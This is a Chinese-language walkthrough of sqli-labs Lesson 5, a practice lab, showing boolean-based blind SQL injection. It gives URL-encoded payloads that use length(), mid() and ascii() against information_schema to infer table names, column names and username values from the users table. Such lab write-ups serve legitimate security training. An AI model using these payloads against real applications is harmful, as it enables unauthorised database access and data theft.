sqli-labs--Lesson5

之前写了Lesson1的指南,而Lesson2-4无非是将单引号改变成其他形式。看每一关的index.php就可以了。

下面来记录一下Lesson5的指南:

1.Lesson5的源代码

sqli-labs--Lesson5_第1张图片

可以看到在下面代码所示的部分,仅仅是在页面上显示了You are in................

sqli-labs--Lesson5_第2张图片

那么注入的类型就是属于盲注,并且是布尔型盲注。

2.Begin--猜解表名

首先去猜解当前数据库的表名长度,通过如下语句(前面的"?id=1 and"省略掉了,那是必须的内容,就不写了,我只写出后面的语句):

length(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1))=6--%20

页面正常,那好,接着去猜解当前数据库的表名,通过如下语句:

ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))>97--%20

页面正常。

注意:select查询语句一定要在()中。

下面将97改变为其他数值,发现到了101的时候页面异常:

sqli-labs--Lesson5_第3张图片

那么当前数据库的第一个表的第一个字符已经推断出来了,是'e'

下面改变mid截取的位置参数可以推断出来第一个表名是"emails",其他的表的猜解方法也是如此,将limit后面的数值改变一下即可。

3.猜解表中字段名

ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_name="users"%20limit%200,1),1,1))=117--%20

4.猜解字段内容

ascii(mid((select%20username%20from%20users%20group%20by%20id%20limit%200,1),1,1))=68--%20

 

 

 

你可能感兴趣的:(web安全)